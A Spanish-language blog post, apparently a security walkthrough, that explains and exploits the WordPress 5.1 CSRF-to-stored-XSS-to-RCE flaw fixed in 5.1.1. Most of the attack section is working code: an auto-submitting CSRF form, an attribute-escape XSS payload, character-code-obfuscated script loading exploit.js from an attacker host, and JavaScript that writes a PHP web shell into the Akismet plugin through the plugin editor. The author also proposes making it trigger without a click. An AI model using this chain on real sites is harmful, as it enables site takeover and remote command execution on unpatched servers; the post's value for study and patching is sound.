Hace unos días se descubrió una vulnerabilidad en WordPress 5.1 que ya ha sido parcheada en la versión 5.1.1, en este post vamos a explicarla y explotarla paso a paso.
La vulnerabilidad comienza en un CSRF así que requiere interacción del usuario y javascript habilitado en el navegador de la víctima.
Cualquier duda o corrección agradezco que la dejéis en los comentarios.
WordPress es un CMS muy famoso y utilizado pero dejemos que los datos hablen.
Considerando que no todos los WordPress apliquen actualizaciones automáticas podríamos hablar de un gran número de servidores vulnerables.
Ataque
Entrando ya en materia del ataque vamos a hacer un resumen de los procesos involucrados.
La primera vulnerabilidad que aprovecha el ataque es un CSRF que existe desde los inicios de WordPress debido a que no han encontrado la manera de implementar una protección sin hacer fallar el sistema.
Para los que no conozcáis CSRF se podria resumir en esta imagen
Es decir que el navegador de la víctima tiene iniciada la sesión y por lo tanto tiene las cookies de sesión, el atacante genera una página o un script malicioso (cambio de contraseña, transferencia ) que al ser visitado o ejecutado por la víctima hará que se realice la petición. Al ser ejecutada por la víctima el navegador enviará automáticamente las cookies de sesión realizándose la operación con la cuenta de la víctima.
Una vez capturada una petición de un WordPress bajo nuestro control sabemos que petición tenemos que realizar
<html> <form method="POST" action="http://172.16.185.132/wordpress/wp-comments-post.php" id="iron"> <input type="hidden" name="comment_post_ID" value="1"> <input type="hidden" name="comment" value="PoC"> <input type="hidden" name="comment_parent" value="0"> </form> <script type="text/javascript"> document.getElementById("iron").submit()</script> </html>
Cuando la víctima cargue este html automáticamente se enviará el formulario que creará como administrador un comentario.
Los comentarios de administrador no pasan por ninguna sanitización pero en la actualidad se utiliza un entero no re utilizable (_wp_unfiltered_html_comment),que si es valido no sanitiza pero si no, utiliza wp_filter_post_kses() en vez de wp_filter_kses() que es la función usada para comentarios de un usuario normal, la cual es muy restrictiva con los tags HTML.
Esta función de sanitización será necesaria bypasearla para conseguir un XSS Stored.
El fallo lo encontraron en una funcionalidad que existe en /wp-includes/formatting.php que por motivos de SEO realiza un tratamiento diferente a las etiquetas html que tienen atributo rel.
if (!empty($atts['rel'])) { // the processing of the 'rel' attribute happens here ⋮ $text = ''; foreach ($atts as $name => $value) { $text .= $name . '="' . $value . '" '; } } return '<a ' . $text . ' rel="' . $rel . '">'; }
WordPress separa los atributos en un array asociativo y verifica si existe rel, si este existe realiza un tratamiento y después vuelve a juntar los atributos de la etiqueta.
El problema radica en que encapsula cada valor del atributo entre dobles comillas por lo que podríamos escapar de un atributo metiendole dentro una comilla doble.
Es decir que :
<a title='ironhackers " onclick=alert(0) id="' rel="nofollow">
Tendriamos un array asociativo {“title”=>’ironhackers ” onclick=alert(0) id=”‘,”rel”=>’nofollow’}, al contener rel se procesara como se ha visto en el extracto de arriba encapsulando cada elemento del array entre comillas dobles. Con esto la primera etiqueta -> title=”ironhackers ” onclick=alert(0) Con lo que abriamos obtenido un XSS.
Veamoslo en conjunto con el CSRF. Primero debemos modificar nuestro html malicioso con el payload necesario.
<html> <script> function payload(){ return "<a title='ironhackers "+ '"'+ " onclick=alert(0) id="+'"'+"'"+' rel="nofollow">Poc' } </script> <form method="POST" action="http://172.16.185.132/wordpress/wp-comments-post.php" id="iron"> <input type="hidden" name="comment_post_ID" value="1"> <input type="hidden" id="payload" name="comment" value=""> <input type="hidden" name="comment_parent" value="0"> </form> <script type="text/javascript"> document.getElementById("payload").value=payload(); document.getElementById("iron").submit()</script> </html>
La función de javascript genera el valor del comentario que será el html inyectado.
Realizamos la ejecución de la página por la víctima con una sesión abierta y vemos como funcionaría el XSS.
Ejecución de comandos
Ahora nuestro objetivo es alcanzar la ejecución de comandos a través de código javascript. Para poder extraer un código valido y probarlo usaremos un WordPress de nuestro control.
En este caso yo subiré un comentario al WordPress como administrador que no realizará ninguna sanitización y después procederemos a intentar llevarlo al XSS.
Aprovecharemos que el javascript será ejecutado por la víctima que tiene la sesión iniciada por lo que a través de peticiones XMLHttpRequest al editor de plugins.
Para explicar un poco el código aunque es bastante sencillo diré que primero realiza una petición para obtener el nonce, que es una especie de CSRF Token, y después utiliza ese token para realizar la segunda petición
<script> p = '/wordpress/wp-admin/plugin-editor.php?'; q = 'file=akismet/index.php'; a = new XMLHttpRequest(); a.onreadystatechange = function() { if (a.readyState == XMLHttpRequest.DONE) { separated=a.responseText.split('input type="hidden" id="nonce" name="nonce" value="') final=separated[1].split('" /><input type="hidden"')[0]; params = 'nonce='+final+String.fromCharCode(38)+'newcontent=<?php system($_GET[cmd]);'+String.fromCharCode(38)+'action=edit-theme-plugin-file'+String.fromCharCode(38)+'file=akismet%2Findex.php'+String.fromCharCode(38)+'plugin=akismet%2Fakismet.php' b = new XMLHttpRequest(); b.open('POST', p, 1); b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); b.send(params); b.onreadystatechange = function(){ if (this.readyState == 4) { fetch('/wordpress/wp-content/plugins/akismet/akismet.php'); } } }} a.open('GET', p+q, 0); a.send(); </script>
El siguiente paso va a ser obtener un payload XSS que nos permita cargar este JS.
Estoy seguro de que muchos de vosotros conseguiriais un payload mas elegante pero tampoco soy un experto, lo que yo pense era en cargar un js de mi control.
<a title='ironhackers " onclick="var s=document.createElement('script');s.setAttribute('src','http://attacker-ip/exploit.js');s.onload=document.body.appendChild(s);" id="' rel="nofollow">Poc
La parte que nos interesa en este caso es el contenido del onclick, ya que la estructura del tag a es la misma que antes. En este caso lo que hacemos será crear un nuevo elemento en el DOM que sera una etiqueta script y le asignamos la propiedad src apuntando a un js de nuestro control, para poder introducir las cadenas he convertido concatenando String.fromCharCode() con cada ascii de cada cadena usada.
<a title='ironhackers " onclick="var s=document.createElement(String.fromCharCode(115)+String.fromCharCode(99)+String.fromCharCode(114)+String.fromCharCode(105)+String.fromCharCode(112)+String.fromCharCode(116));s.setAttribute(String.fromCharCode(115)+String.fromCharCode(114)+String.fromCharCode(99),String.fromCharCode(104)+String.fromCharCode(116)+String.fromCharCode(116)+String.fromCharCode(112)+String.fromCharCode(58)+String.fromCharCode(47)+String.fromCharCode(47)+String.fromCharCode(49)+String.fromCharCode(55)+String.fromCharCode(50)+String.fromCharCode(46)+String.fromCharCode(49)+String.fromCharCode(54)+String.fromCharCode(46)+String.fromCharCode(49)+String.fromCharCode(56)+String.fromCharCode(53)+String.fromCharCode(46)+String.fromCharCode(49)+String.fromCharCode(47)+String.fromCharCode(101)+String.fromCharCode(120)+String.fromCharCode(112)+String.fromCharCode(108)+String.fromCharCode(111)+String.fromCharCode(105)+String.fromCharCode(116)+String.fromCharCode(46)+String.fromCharCode(106)+String.fromCharCode(115));s.onload=document.body.appendChild(s);" id="' rel="nofollow">Poc
Finalmente introducimos nuestro payload en el formulario malicioso de la página a la que debe acceder la víctima quedando asi:
<html> <script> function payload(){ return "<a title='ironhackers "+ '"'+ " onclick="+'"'+"var s=document.createElement(String.fromCharCode(115)+String.fromCharCode(99)+String.fromCharCode(114)+String.fromCharCode(105)+String.fromCharCode(112)+String.fromCharCode(116));s.setAttribute(String.fromCharCode(115)+String.fromCharCode(114)+String.fromCharCode(99),String.fromCharCode(104)+String.fromCharCode(116)+String.fromCharCode(116)+String.fromCharCode(112)+String.fromCharCode(58)+String.fromCharCode(47)+String.fromCharCode(47)+String.fromCharCode(49)+String.fromCharCode(55)+String.fromCharCode(50)+String.fromCharCode(46)+String.fromCharCode(49)+String.fromCharCode(54)+String.fromCharCode(46)+String.fromCharCode(49)+String.fromCharCode(56)+String.fromCharCode(53)+String.fromCharCode(46)+String.fromCharCode(49)+String.fromCharCode(47)+String.fromCharCode(101)+String.fromCharCode(120)+String.fromCharCode(112)+String.fromCharCode(108)+String.fromCharCode(111)+String.fromCharCode(105)+String.fromCharCode(116)+String.fromCharCode(46)+String.fromCharCode(106)+String.fromCharCode(115));s.onload=document.body.appendChild(s);"+'"'+' id='+'"'+"'"+' rel="nofollow">Poc' } </script> <form method="POST" action="http://172.16.185.132/wordpress/wp-comments-post.php" id="iron"> <input type="hidden" name="comment_post_ID" value="1"> <input type="hidden" id="payload" name="comment" value=""> <input type="hidden" name="comment_parent" value="0"> </form> <script type="text/javascript"> document.getElementById("payload").value=payload(); document.getElementById("iron").submit()</script> </html>
Poc final
Después cogeremos el codigo JS que utilizamos para ejecutar la edición del plugin y lo guardaremos en un fichero en un servidor de nuestro control. En mi caso exploit.js
Una vez todo el conjunto esta preparado pasamos a la prueba final.
Como habeis visto se consigue RCE a través de el acceso a una página maliciosa y un click en un enlace pero esta claro que este payload es mejorable por ejemplo sustituyendo el onclick por onmouseover y haciendo automática la ejecución del javascript sin necesidad de click.
Referencias: https://blog.ripstech.com/2019/wordpress-csrf-to-rce/
Video: https://youtu.be/QnOXTcCPD3o
how to delete .htaccess bro,because .htaccess make index.php 403
zdys71